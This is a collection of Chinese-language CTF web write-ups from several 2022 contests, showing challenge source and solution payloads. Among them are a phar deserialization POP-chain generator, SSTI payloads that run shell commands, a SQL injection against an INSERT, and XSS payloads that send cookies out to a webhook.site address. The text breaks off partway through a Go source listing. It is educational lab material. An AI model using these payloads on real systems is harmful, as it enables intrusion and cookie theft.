祥云杯初赛-2022-WP

Web

RustWaf

题目给出源码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({ type: '*/*' }));
const { execFileSync } = require('child_process');
app.post('/readfile', function(req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim();
try {
file_to_read = JSON.parse(file)
} catch (e) {
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function(req, res) { res.send('see `/src`'); });
app.get('/src', function(req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function() { console.log('start listening on port 3000'); });

main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}

pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}

fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}

提供了一个文件读取功能,我们可以直接传输字符串也可以传json数据,传进去的内容会在main.rs中进行检查,如果罕有flag或者proc字符串就无法读取文件,对于满足条件的字符串会直接返回给app.js继续进行读取,而不含关键字的JSON数据将会进行解析,只有成功解析为File结构体时才会调用to_string函数输出返回给app.js进行下一步处理。

这里我们可以注意到,nodejs中的文件系统库fs中的readFileSync函数接受URL类的输入,而URL类的属性含有如下属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const url=new URL("http://jututu.top");
console.log(url.protocol);
console.log(url.href);
console.log(url.origin);
console.log(url.pathname);
console.log(url.hostname);
/*
output:
http:
http://jututu.top/
http://jututu.top
/
jututu.top
*/

这些属性与main.rs中的结构体File是一致的。同时,我们可以注意到,to_string操作其实输出的也是一串JSON数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
use std::fs;
use serde_json;
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)]
struct File{
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
fn main() {
let file=File{
protocol:"http",
href:"http://jututu.top/",
origin:"http://jututu.top",
pathname:"/",
hostname:"jututu.top"
};
let sdata = serde_json::to_string(&file);
let sdata = sdata.unwrap();
println!("{}", sdata);
}
/*
output:

{"protocol":"http","href":"http://jututu.top/","origin":"http://jututu.top","pathname":"/","hostname":"jututu.top"}
*/

而这一串JSON数据刚好能被app.js中的JSON.parse函数解析为URL对象,因此我们只需要按照格式输入结构体数据main.rs就会自动帮我们解析得到JSON数据从而被解析为URL对象。

而重点就在这里,readFileSync对输入的url会进行url解码(参考:https://brycec.me/posts/corctf_2022_challenges#simplewaf ),因此这里可以用url解码来绕过,将flag进行url编码或者部分url编码即可。

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /readfile HTTP/1.1
Host: eci-2ze0xya70kbo4gq728da.cloudeci1.ichunqiu.com:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 56

["file:",
"file:///fl%61g",
"null",
"/fl%61g",
""
]

flag{88f45655-1050-4b00-a577-01fad53a9202}

b站1024-2022-WP

第二题

打开题目看到提示upupup!

有可能是文件上传,访问一下upload.php,可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
header("content-type:text/html;charset=utf-8");

date_default_timezone_set('PRC');

if($_SERVER['REQUEST_METHOD']==='POST') {

$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}

$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;

} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
} echo 111;
?>

用POST方法是上传文件,而且只能上传文件名后缀为jpg,gif,jpeg,png的文件;用GET方法则是检查文件是否存在。再看一下5d47c5d8a6299792.php文件,也给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
 <?php

// flag in /tmp/flag.php



class Modifier {

public function __invoke(){
include("index.php");
}
}

class Action {
protected $checkAccess;
protected $id;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}

class Content {

public $formatters;

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}

class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {


$this->str->reset();
}

public function __wakeup() {

if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}

public function reset() {
if ($this->reader !== null) {


$this->reader->close();
}
}
}


highlight_file(__FILE__);

结合给出多个类、文件上传、文件存在检验可以猜测攻击路径大概是通过上传phar文件,再由文件存在性检查来触发给出的类的反序列化,从而读取flag。

通过分析以上几个类发现只有Action类的run函数能偶进行文件包含,这应该就是调用的目标函数,pop链最终就是要调用Action类的run函数执行include读取flag。而show函数具有__construct和__toString函数,且__construct函数中存在字符串输出操作,能够触发__toString函数,这应该是反序列化调用链的起点。而Content类存在__call函数,其中还调用了call_user_func_array(),因此这个类可以作为跳板,从Show跳到Action类。Show类的__toString函数中有$this->str->reset();,这个reset函数正是Content类所没有的,因此就会触发call_user_func_array函数调用Action的run函数,这样pop链就分析完成了。接下去就是一些细节的问题了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php

//目标是调用Action类的run函数,执行任意文件读取
class Action {
protected $checkAccess='php://filter/convert.base64-encode/resource=../../../tmp/flag.php';
//读取的目标文件
protected $id=NULL;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
//这里限制了上传webshell,就只能采取文件读取的方式
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {//switch的比较是'==',可以利用语言特性绕过
switch($this->id) {//id=NULL即可
case 0:
if ($this->checkAccess) {echo 'flag!!!!';
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}
class Content {
public $formatters;//设置为键值对,'reset'=>array(new Action,'run')
public function __construct(){
$action=new Action;
$this->formatters=array('reset'=>array($action,'run'));
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);//调用 Action类 的 run函数
}
}

class Show{
public $source;//赋值为Show类实例
public $str;//赋值为Content类实例
public $reader;
public function __construct($file='index.php') {
$this->str=new Content;
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}

}
//生成phar文件
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Show();
$o->source=new Show();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传phar文件后需要将其后缀改为jpg后再上传,以下是上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
file1=open('phar.phar','rb')
file2=open('phar.jpg','wb')
file2.write(file1.read())
file1.close()
file2.close()
url='http://42.192.54.239/upload.php'
file={
"file": open('./phar.jpg','rb'),
}
post=requests.post(url=url,files=file)
print(post.content)

上传文件后能够拿到文件路径,再通过一下方式触发反序列化读取文件。

1
http://42.192.54.239/upload.php?c=phar:///var/www/html/upload/20221026191443765.jpg

读取到的base64文件:

1
LyoqCiAqIGJpbGliaWxpQDIwMjIuCiAqIENvbmdyYXR1bGF0aW9ucyEgVGhpcyBpcyBUaGUgRmxhZyEKICogQXV0aDogSzNpb3ZlQGdpdGh1YgogKiBSZXBvOiAxMDI0LWNoZWVycwogKiBAbGluayBodHRwczovL3NlY3VyaXR5LmJpbGliaWxpLmNvbS8KICogQGxpY2Vuc2UgaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tLwogKi8KCmZsYWcye1BoQXJfVGhlX2JFc1RfTGFuZ30K

解码后即可得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/

flag2{PhAr_The_bEsT_Lang}


第五空间-2022-WP

web

5_web_BaliYun

访问www.zip 可以获取到源码,就两个文件,index.php和class.php

index.php

1
2
3
4
5
6
7
8
9
10
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img();
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}

public function start(){
return $this->check();
}

private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}

private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}

public function __wakeup(){
echo file_get_contents($this->filename);
}
}


class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}

public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}

有上传文件功能和检查文件是否存在功能,可以注意到class.php文件中有两个类,其中的upload类有文件读取:

1
2
3
public function __wakeup(){
echo file_get_contents($this->filename);
}

__wakeup()是在反序列化过程中会自动调用的函数,也就是说只要我们能够触发反序列化就可以进行任意文件读取。同时check_img类有检查文件是否存在操作:

1
2
3
4
5
6
7
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}

文件上传+反序列化,这就联想到了phar反序列化。可以上传phar文件,利用文件检查操作和phar伪协议触发反序列化,导致任意文件读取,phar文件生成代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = '/flag';
$this->ext = '';
$this->size = 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new upload();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

phar文件内容为:

1
2
<?php __HALT_COMPILER(); ?>
?    ? O:6:"upload":4:{s:8:"filename";s:5:"/flag";s:3:"ext";s:0:"";s:4:"size";i:1024;s:9:"Valid_ext";a:4:{i:0;s:3:"gif";i:1;s:4:"jpeg";i:2;s:3:"jpg";i:3;s:3:"png";}} test.txt ?(c ~囟 testy^紮!q@SaD2<5V苪 GBMB

上传文件后,发送如下报文触发:

1
2
3
4
5
6
7
8
9
GET /?img_name=phar://./upload/phar.jpg HTTP/1.1
Host: 39.107.76.202:24750
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag: flag{3QfNeV2JDk8wHKTgk5cHbynjC7HSXW5U}

DiceCTF-2022-WP

一共十道题,只做出来8道,剩下两道完全找不到漏洞点,等大佬wp @_@ 。这比赛的题目顺序有点迷,并没有按照难度排列,做的时候有点过山车的感觉,不过总体体验还是不错的。

secure-page

直接看源码,只需要把cookie中的admin设为true即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@server.get('/')
async def root(request):
admin = request.cookies.get('admin', '')

headers = {}
if admin == '':
headers['set-cookie'] = 'admin=false'

if admin == 'true':
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
%s
</div>
''' % os.environ.get('FLAG', 'flag is missing!'), headers)
else:
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
Sorry, you must be the admin to view this content!
</div>
''', headers)

hope{signatures_signatures_signatures}

flag-viewer

从源码可以看到只需要访问/flag目录并把参数user设为admin即可。

1
2
3
4
5
6
7
8
9
@server.post('/flag')
async def flag(request):
data = await request.post()
user = data.get(' ', '')

if user != 'admin':
return (302, '/?message=Only the "admin" user can see the flag!')

return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')

hope{oops_client_side_validation_again}

point

源码给出来,用post发送json数据,只要恢复得到的结构体成员值为that_point即可,但是不能够含有what_point字段,因为json.Unmarshal不区分json字段的大小写,因此可以把键名what_point写成What_point来绕过检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
type importantStuff struct {
Whatpoint string `json:"what_point"`
}

func main() {
flag, err := os.ReadFile("flag.txt")
if err != nil {
panic(err)
}

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
fmt.Fprint(w, "Hello, world")
return
case http.MethodPost:
body, err := io.ReadAll(r.Body)
fmt.Printf("%s", body)
if err != nil {
fmt.Fprintf(w, "1 Something went wrong")
return
}

if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "2 Something went wrong")
return
}

var whatpoint importantStuff
err = json.Unmarshal(body, &whatpoint)
if err != nil {
fmt.Fprintf(w, "3 Something went wrong")
return
}

if whatpoint.Whatpoint == "that_point" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
} else {
fmt.Fprintf(w, "4 Something went wrong")
return
}
default:
fmt.Fprint(w, "Method not allowed")
return
}
})

log.Fatal(http.ListenAndServe(":1234", nil))

}

hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

reverser

这是一道ssti注入题,需要注意的是payload要取反,因为是python3所以需要找一下FileLoader,然后按照常规套路利用builtins中的函数调用系统命令读取flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.post('/')
def reverse():
result = '''
<link rel="stylesheet" href="style.css" />
<div class="container">
<h1>Text Reverser</h1>
Reverse any text... now as a web service!
<form method="POST">
<input type="text" name="text">
<input type="submit" value="Reverse">
</form>
<p>Output: %s</p>
</div>
'''
output = request.form.get('text', '')[::-1]
return render_template_string(result % output)

payload如下:

1
}})(daer.)'sl'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{
1
}})(daer.)'*f%20tac'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{

hope{cant_misuse_templates}

oeps

一开始看到execute的时候觉得完了,滴水不漏,定睛一看才发现原来里面用了单引号把占位符包起来了,那就起不到防止sql注入的效果,可以直接注。找了一圈发现基本上都有输入检查,只允许字母和数字输入,唯独一个地方没有检查那就是/submit目录下的submission参数,这里可以直接进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@server.post('/submit')
async def submit(request):
token = request.cookies.get('token', '')
logged_in = (
all(c in ALLOWED_CHARACTERS for c in token) and
len(connection.execute('''
select * from users where token = '%s';
''' % token).fetchall()) == 1
)

if not logged_in:
return (302, '/?error=Authentication error.')

data = await request.post()
submission = data.get('submission', '')
if submission == '':
return (302, '/?error=Submission cannot be empty.')

stripped = submission.replace(' ', '')
if stripped != stripped[::-1]:
return (302, '/?error=Submission must be a palindrome.')
connection.execute('''
insert into pending (user, sentence) values ('%s', '%s');
''' % (
token,
submission
))

return (302, '/')

与往常的不同,不再是select,而是insert语句。这里插入的是pending数据表,也就是我们访问根目录可以看到的数据表。因此可以将flag查询出来插入pending表中,再访问根目录查看。需要注意的是在python的sqlite中可以使用||进行字符拼接,这里将前面的字符闭合起来之后再将flag拼接上去即可:

1
flag:'||(select flag from flags));----;))sgalf morf galf tceles(||':galf

访问根目录查看flag:

hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}

inspect-me

这道题挺恶心的,F12开启开发者工具之后就会把表单后面的内容替换掉,然后不断循环刷新控制台。一开始只能获取到表单前面那部分的代码,发现他会检测窗口大小等一系列操作来判断是否开启开发者工具,所以一开始我的思路是用chromedriver来控制开启页面,然后用page_source来获取源码,但是发现不行因为chromedriver本来就是调用了开发者工具来实现的,会被检查出来。

!

经过仔细研究发现页面内容替换需要条件触发,而检测这些触发条件的是js代码,他们的作用范围只在本标签,那么标签的上一级他就管不到了。所以可以直接选中浏览器地址栏url然后按ctrl+u直接看源码。以下是表单后面的源码,实现的是对flag进行凯撒加密,偏移量为13。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
(() => {
const scripts = document.querySelectorAll('script');
scripts.forEach((script) => script.remove());

const chr = (c) => c.charCodeAt(0);

const form = document.querySelector('form');
form.addEventListener('submit', (event) => {
event.preventDefault();
const input = document.querySelector('input[type="text"]');
const output = [];
for (const char of input.value.split('').map(chr)) {
if (chr('a') <= char && char <= chr('z')) {
output.push(chr('a') + ((char - chr('a') + 13) % 26));
} else if (chr('A') <= char && char <= chr('Z')) {
output.push(chr('A') + ((char - chr('A') + 13) % 26));
} else {
output.push(char);
}
}
const target = 'ubcr{pyvrag_fvqr_pyvpur}';
if (output.map((c) => String.fromCharCode(c)).join('') === target) {
document.querySelector('.content').textContent = 'Correct!';
} else {
input.removeAttribute('style');
input.offsetWidth;
input.style.animation = 'shake 0.25s';
}
});
})();
</script>

hope{client_side_cliche}

pastebin

服务端提供/new来给我们创建一个页面,随后会给出地址供访问,题目大概的思路就是利用/new生成带有xss代码的页面,然后把这个页面提交给admin-bot访问,admin-bot访问我们生成的页面时利用xss代码将cookie外带即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/new', (req, res) => {
const paste = (req.body.paste ?? '').toString();

if (paste.length == 0) {
return res.redirect(`/flash?message=Paste cannot be empty!`);
}

if (paste.search(/<.*>/) !== -1) {
return res.redirect(`/flash?message=Illegal characters in paste!`);
}

const id = add(paste);
res.redirect(`/view/${id}`);
});

app.get('/view/:id', (req, res) => {
const id = req.params.id;
res.type('html');
res.end(`
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Paste</h1>
${pastes.get(id) ?? 'Paste does not exist!'}
</div>
`);
});

从上面的源码可以看到,写入的内容是会有检查的,不能够含有<>,这里需要xss绕过。我们可以使用iframe的半尖括号来进行绕过,然后在src中写入js代码实现cookie窃取,payload如下:

1
<iframe src= javascript:location.href="https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?flag="+document.cookie <

再将如下链接提交给Admin Bot访问即可:

1
https://pastebin.mc.ax/view/54c293d08e3c57c75ddee9af984431c1

提交之后就可以在我们实现准备好的webhook这里查看flag。

hope{the_pastebin_was_irrelvant}

mk

这道题也是xss,不过他的限制比较严格,内容安全策略(CSP)如下,除了谷歌的验证码域名外,其他的都需要遵循同源策略,而且script不允许内联代码运行,这里需要绕过CSP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fastify.addHook('preHandler', async (req, res) => {
res.header('Content-Security-Policy', [
"default-src 'self'",
"base-uri 'self'",
"font-src 'self'",
"frame-ancestors 'none'",
"img-src 'none'",
"object-src 'none'",
"script-src 'self' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/",
"script-src-attr 'none'",
"style-src 'self' 'unsafe-inline'",
"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/"
].join(';'));

res.header('X-Content-Type-Options', 'nosniff');
});

可以注意到源码给出了Mathjax这个插件,这其实是一个数学公式的渲染插件,之前确实爆过xss攻击的漏洞,可以直接执行eval函数来进行RCE,但是这里给出的版本是2.7.9并不包含这个漏洞,这里就不能用。但是插件Mathjax允许通过<script type="text/x-mathjax-config"><script/>来进行参数设置,同时标签内除了根据它规定的格式设置参数之外还可以运行JavaScript代码,因此就可以利用它来绕过CSP执行JavaScript代码,从而走私cookie。

构造的页面payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/x-mathjax-config">
location.href=`https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?${document.cookie}`;
</script>
<script type="text/javascript" src="/MathJax/MathJax.js">
</script>
</body>
</html>

将payload与其https://mk.mc.ax/render?content= 拼接后url编码,再发送给admin-bot访问,admin-bot加载页面后就会运行准备好的跳转代码,将cookie作为参数发送到事先准备好的webhook地址。

1
https%3A%2F%2Fmk.mc.ax%2Frender%3Fcontent%3D%3C!DOCTYPE%20html%3E%20%3Chtml%20lang%3D%22en%22%3E%20%3Chead%3E%20%20%20%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%20%20%20%20%20%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3Dedge%22%3E%20%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1.0%22%3E%20%20%20%20%20%3Ctitle%3EDocument%3C%2Ftitle%3E%20%3C%2Fhead%3E%20%3Cbody%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fx-mathjax-config%22%3E%20%20%20%20%20%20%20%20%20location.href%3D%60https%3A%2F%2Fwebhook.site%2F99f07c43-3dd0-402e-afc8-a654a2dc6983%2F%3F%24%7Bdocument.cookie%7D%60%3B%20%20%20%20%20%3C%2Fscript%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22%2FMathJax%2FMathJax.js%22%3E%20%20%20%20%20%3C%2Fscript%3E%20%3C%2Fbody%3E%20%3C%2Fhtml%3E

然后我们就可以在webhook这里看到flag了。

hope{make_sure_to_check_your_dependencies}

虎符决赛-2022-WP

​ 期待已久的虎符决赛终于来了,本来是可以去福州旅游的,没想到主办方鸽了几个月之后直接改线上赛了!

​ 决赛主要分为两个部分,分别是AWDP和PKS。实在不懂什么芯片的我们只能做做AWDP环节了,再加上这次我们没有pwn手吃了比较大的亏。好在修复成功了两道题和攻击成功一道题,靠着每轮一点点加分赶了上来不至于垫底。

readygo

​ 这是一道go语言编写的题目,go题接触的比较少一开始拿到的时候有点慌。好在考的并不是语言特性,而是比较基础的代码注入。

源码主要文件目录如下:

1
2
3
4
5
6
7
|——goeval@v0.1.1
| |——eval.go
| |——eval_test.go
|——html
| |——index.html
| |——result.html
|——main.go

首先看看main.go中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
eval "github.com/PaulXu-cn/goeval"
"github.com/gin-gonic/gin"
"regexp"
)

func main() {
r := gin.Default()
r.LoadHTMLFiles("html/index.html", "html/result.html")
r.GET("/", func(c *gin.Context) {
c.Header("server", "Gin")
c.HTML(200, "index.html", "")
})
r.POST("/parse", func(c *gin.Context) {
expression := c.DefaultPostForm("expression", "666")
Package := c.DefaultPostForm("Package", "fmt")
match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
if match {
c.String(200, "Hacker????")
return
} else {
if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
c.HTML(200, "result.html", gin.H{"result": string(res)})
} else {
c.HTML(200, "result.html", err.Error())
}
}
})
r.Run()
}

从main函数中我们就可以大致了解这个web应用的主要结构和业务流程。html目录放置的是前端页面,访问index.html是一个提交计算表达式的表单,也就是一个计算器,表单提交后在服务器中由main.go中的代码进行处理,main.go会调用eval.go中的模块,而eval_test.go则是eval.go中模块的使用实例,main.go计算完之后将结果返回在result.html页面显示。

attack

​ 从代码中可以看到,我们计算表达式会提交到/parse路进行进行处理,首先会对expression进行检查,拒绝对含有字母的表达式进行下一步处理,而对Package则并没有做任何检查。随后将expression与代码拼接后跟Package一起传入eval.go中的Eval()函数进行处理,以下是eval.go代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package goeval

import (
"fmt"
"go/format"
"math/rand"
"os"
"os/exec"
"strings"
"time"
)

const (
letterBytes = "abcdefghijklmnopqrstuvwxyz"
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
)

var (
dirSeparator = "/"
tempDir = os.TempDir()
